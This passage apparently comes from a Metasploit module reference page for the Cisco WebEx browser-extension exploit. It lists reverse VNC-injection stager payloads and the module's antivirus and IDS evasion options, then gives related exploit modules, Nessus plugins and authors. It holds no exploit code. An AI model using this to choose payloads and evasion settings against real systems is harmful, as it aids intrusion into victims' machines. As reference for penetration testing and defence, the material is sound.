178 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
179 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
180 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
181 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
182 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
183 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
184 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
185 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
186 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
187 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
188 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
189 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/browser/cisco_webex_ext exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/browser/cisco_webex_ext) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7884 Merged Pull Request: Move cisco_webex_ext to exploits/windows/browser
References
See Also
Check also the following modules related to this module:
- exploit/windows/browser/cisco_anyconnect_exec
- exploit/windows/browser/cisco_playerpt_setsource
- exploit/windows/browser/cisco_playerpt_setsource_surl
- exploit/linux/http/cisco_asax_sfr_rce
- exploit/linux/http/cisco_firepower_useradd
- exploit/linux/http/cisco_hyperflex_file_upload_rce
- exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec
- exploit/linux/http/cisco_prime_inf_rce
- exploit/linux/http/cisco_rv32x_rce
- exploit/linux/http/cisco_rv_series_authbypass_and_rce
- exploit/linux/http/cisco_ucs_cloupia_script_rce
- exploit/linux/http/cisco_ucs_rce
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/multi/http/cisco_dcnm_upload
- exploit/multi/http/cisco_dcnm_upload_2019
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/windows/browser/webex_ucf_newobject
- exploit/windows/browser/facebook_extractiptc
- exploit/windows/browser/ms06_013_createtextrange
- exploit/windows/browser/ms14_012_textrange
- exploit/windows/browser/trendmicro_extsetowner
- exploit/windows/browser/viscom_movieplayer_drawtext
- exploit/windows/browser/x360_video_player_set_text_bof
- exploit/windows/local/webexec
- exploit/windows/smb/webexec
- auxiliary/admin/smb/webexec_command
Related Nessus plugins:
- Cisco WebEx Extension for Chrome RCE (cisco-sa-20170124-webex)
- Cisco WebEx for Firefox RCE (cisco-sa-20170124-webex)
- Cisco WebEx for Internet Explorer RCE (cisco-sa-20170124-webex)
Authors
- Tavis Ormandy <[email protected]>
- William Webb <william_webb[at]rapid7.com>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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